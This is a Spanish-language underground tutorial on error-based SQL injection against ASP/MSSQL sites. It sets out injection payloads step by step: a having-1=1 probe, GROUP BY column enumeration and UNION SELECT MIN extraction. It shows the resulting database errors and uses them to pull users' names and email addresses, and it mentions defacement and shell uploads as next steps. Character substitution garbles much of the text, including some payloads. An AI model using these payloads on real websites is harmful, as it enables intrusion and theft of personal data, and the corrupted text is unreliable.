0x00 Prefacio El objetivo de este documento s !ue "a# varios rulando $or internet muc"o mejores !ue ste% $ero !uer&a a$ortar mi granito de arena' es iniciarse en las in#ecciones SQL a travs de variables de ti$o (E)* La idea me "a surgido al em$e+ar a introducir a Plaga al divertido mundo de las vulnerabilidad es* )ras leerse # a$render lo !ue se va a ex$oner en este $e!ue,o tutorial-manual $odreis manejaros un $oco m.s en el uso de las SQL Injection% una vulnerabilidad !ue cada d&a se extiende m.s* /osotros nos vamos a basar en usar el mtodo de ir $robando # obteniendo errores% de los cuales sacaremos informacin jugosa* 0aste decir !ue no encontrareis en este tutorial ninguna 1in#eccin1 m.gica% ni nada de "acer a$rovec"arse en "acer defacing% 2nicamente vamos a estudiar cmo sacar informacin esta informacin $uede ser $or ejem$lo n2meros de telefono% contrase,as # usuarios% etc'* Es m.s% $ara !ue realmetne veais !ue no va a ser un tutorial de 13ac4ea una 5eb con SQL injection en 6 $asos1 la info !ue vamos a sacar va a ser los correos asociados a unos usuarios* 0x07 Primeros $asos: Sacando la tabla 0ien% $ara em$e+ar necesitamos encontrar alguna 5eb !ue $otencialmente $udiera no lo sabemos todav&a' tener alg2n scri$t del ti$o 1noticias*as$8I9:1% 1art&culos*$"$8vie5:1 vulnerable* ;omo coment <aes<aes en una ocasin 1Si ves =SP $iensa en SQL1% # bien es cierto !ue son bastante $ro$ensas a estos ata!ues% su$ongo !ue ser. $or cul$a de los <eb>asters**** Consejo: Como ya le coment en privado a Plaga, es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado ;omo iba diciendo al inicio% la in#eccin la introducimos en variables de ti$o (E)* ?Qu son estas variables8 @esumiendo mu# muc"o no me $egueis $or ello A9' $odemos decir !ue son a!uellas variables !ue se introducen a travs de la B@L* Vamos a utili+ar un ejem$lo imaginario* Estamos viendo una 5eb% # nos encontramos con un lin4 ti$o 1 Para ver este enlace Registrate o Inicia Sesion 555*$aginafals a*com-index*as$8$rofile:CD 1* Para com$robar si es vulnerable comen+amos $or $oner'* ;on E indicamos la finali+acin de una sentencia SQL* /uestro cdigo malicioso ser. ' having 1=1--* El 1FF1 sirve $ara !ue sean ignoradas todas las sentecias !ue venga detr.s% e!uivale al 1G1 en $erl o al --% -H% etc de otros lenguajes* En el caso del ejem$lo imaginario% nos deber&a de 1vomitar1 la 5eb un error del estilo de: ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*IdE de la lista de seleccin no es v.lida% $or!ue no est. contenida en una funcin de agregado # no "a# cl.usula (@IBP 0M* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea C <)O8P8PP8P8 Que co,o es eso888* 0ien no os alarmais% de a!u& lo 2nico !ue nos interesa es Datos.Id* 19atos1 es el nombre de la tabla en la !ue estamos o$erando% # 1Id1 es el nombre del cam$o* Ser&a aconsejable "ec"ar un $e!ue,o vista+o a alg2n manual de manejo de 90s $ara com$render su estructura* En estos cam$os ser. donde se encuentre contenida la informacin !ue maneja la 90 de la 5eb !ue estamos 1atacando1* ="ora im$rescindible agarrar el note$ad Mo usar el !ue me "i+o >ace <indu :lool:' # $onen 1/I>0@E )=0L=: 9atos1 # des$ues en otra l&nea 1;am$os: 7Q Id1* Le $onesmos 17Q1 $or!ue los cam$os se encuentran ordenados dentro de la 90 # ste orden es im$rescindible a la "ora de construir las sentencias* 0x0R Sacando los cam$os de la tabla ="ora si reco$ilamos la informacin !ue deber&amos de tener en nuestro note$ad% $odemos ver !ue #a tenemos el nombre de la tabla 9atos' # el $rimero cam$o Id'* Pero bien% a"ora necesitamos sacar el resto de cam$os !ue com$onen la tabla 9atos* ?Para !u8 Pues $ara conocer la estructura sobre la !ue estamos trabajando% #a !ue $osteriores in#ecciones necesitar.n basarse en la info !ue va#amos obteniendo% a $arte% el nombre de los cam$os nos dar.n una $ista sobre donde $uede "aber la informacin !ue andamos buscando una tabla !ue se llame $ass5ords% tiene un alt&simo% de un SJT% de !ue contenga $ass5ords% # si encima "a# otra columna con users% el trabajo lo tienes servido'* Para $oder ir sacando los cam$os en orden% nos valdremos de la siguiente in#eccin: ' GROUP BY Tala.1! ca"#o having 1=1-- ;ambiando los datos en amarillo $or los de nuestro caso* En nuestro ejem$lo% la in#eccin se montar&a as&: ' GROUP BY Datos.Id having 1=1-- ?# !u es lo !ue nos vomita la 5eb8 ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*clientesE de la lista de seleccin no es v.lida% $or!ue no est. contenida en una funcin de agregado ni en la cl.usula (@IBP 0M* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea C 0ien% #a tenemos el RQ cam$o: 1clientes1* Pero% ?como seguimos extra#endo informacin8 =,adiendo mediante una 1$1 el nuevo cam$o descubierto% as& la in#eccin nos dar. el siguiente cam$o% !uedando algo as&: ' GROUP BY Datos.Id$clientes having 1=1-- M a"ora nos devuelve la 5eb: ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*correoE de la lista de seleccin no es v.lida% $or!ue no est. contenida en una funcin de agregado ni en la cl.usula (@IBP 0M* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea C 0ien% lo mismo de antes% $ero con el tercer cam$o% 1correo1* /o "ace falta deciros !ue toda esta info de los cam$os debe de ser guardada en nuestro note$ad* ="ora% tenemos !ue ir $oniendo la misma in#eccin% 2nicamente con la adicin de una nueva 1%1 # del cam$o !eu descubrimos "asta !ue nos salga algo ti$o: ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLEl $refijo de columna E9atosE no coincide con un nombre de tabla o con un alias usado en la consulta* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC Esto es el indicativo de !ue #a no "a# m.s cam$os% $or lo tanto #a sabemos !ue: la tabla se llama 19atos1% tiene tres cam$os !ue son Id% clientes # correo* En nuestro caso% como #a les coment al inicio del tutorial% vamos a trabajar con los cam$os clientes # correo* 0x0U >ostrando el contenido de los cam$os Ma tenemos los cam$os !ue nos "ac&an falta # !ue contiene la informacion !ue andabamos buscando% $ero a"ora nos "ace falta 1ver1 esa informacin* ="ora es cuando entra en juego el uso de sentencias E B/II/ SELE;)* Para $oder usarlo% necesitaremos facilitar el mismo n2mero de cam$os !ue tiene la tabla% $ara ello usaremos 171* Lo !ue "aremos ser. $rimero encontrar un valor en el cam$o 1clientes1 # des$us encontrar su correo corres$ondient e* Para ello nos deberemos de basar en la ingerinier&a social% #o $or ejem$lo vo# a buscar el $rimer nombre !ue em$iece $or V* Entonces monto la in#eccin de esta forma: ' U%IO% S&'&(T )I%*(a"#o+$1$1$1,- tantos .1. co"o ca"#os -, /RO) Tala 01&R& ca"#o 2 '3'-- ;on esto nos devolver. el $rimer nombre !ue em$iece $or 1j1* El error !ue nos devuelve el contenido es devido a !ue la variable est. cofigurada como de ti$o 1varc"ar1 # al ser una letra con lo !ue o$eramos% la funcin 1min'1 sufre un error de sintaxis* >i in#eccion es esta: ' U%IO% S&'&(T )I%*clientes+$1$1 /RO) Datos 01&R& cleintes 2 '3'-- M me devuelve la 5eb: ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e0DE K>icrosoftL KI90; SQL Server 9riverL KSQL ServerLError de Sintaxis al convertir el valor varc"ar 1Vuanito1 a una columna de datos ti$o int* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC VIIVIIVIVI "a# un cliente !ue se llama Vuanito jejejeje* Veamos su correo: ' U%IO% S&'&(T )I%*correo+$1$1 /RO) Datos 01&R& clientes = '45anito'-- M el resultado es*** ;itar >icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e0DE K>icrosoftL KI90; SQL Server 9riverL KSQL ServerLError de Sintaxis al convertir el valor varc"ar 1 "eW=rgeniverso3=c4*com1XVuanitoYdeYnoc "eW=rgeniverso3=c4*com1 a una columna de datos ti$o int* 9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC Pues #a tenemos nuestros datos el cliente 1juanito1 tiene un correo !ue es "eW=rgeniverso3=c4*com1XVuanitoYdeYnoc "eW=rgeniverso3=c4*com* ="ora trans$oratar estos conocimientos a un login% con user # $ass5ord * 0x0C ;onclusin Es$ero !ue este tutorial corto "a#a sido ameno # entendible% # !ue os sea de utilidad* El mundo de las in#ecciones SQL es mu# am$lio% de "ec"o se $uede defacear directamente% actuali+ando tablas con la sentencia 1u$date1% tambien se $ueden subir s"ells% ejecutar comandos% etc*** $ero el objetivo de este documento era meramente introducir a los /<s al uso de las in#ecciones SQL # !ue no caigan en tendecias lammers # de scri$t 4iddies como in#ectar una in#eccion $redefinida !ue "a descubierto otra $ersona* ;ual!uier error o comentario acerca del manual% $osteadlo* 0x06 (rUtZ =gradecimiento s al mari!uita de Lutsc"er grand&simo colega% tambien a "an% <aes<aes% @(0S0% >ace <indu% c"i$bios% [net% S#ndr0me% P"onix% ;@30/06% /IA # usuarios de =rgeniverso3ac 4 # @emote Execution* Es$ecial greet+ $ara Plaga% al !ue considero casi como mi "ermano en el under* El manual originalmente iba a ser $ara el% $ero bueno% lo libero $ara todos A9* 0#tU+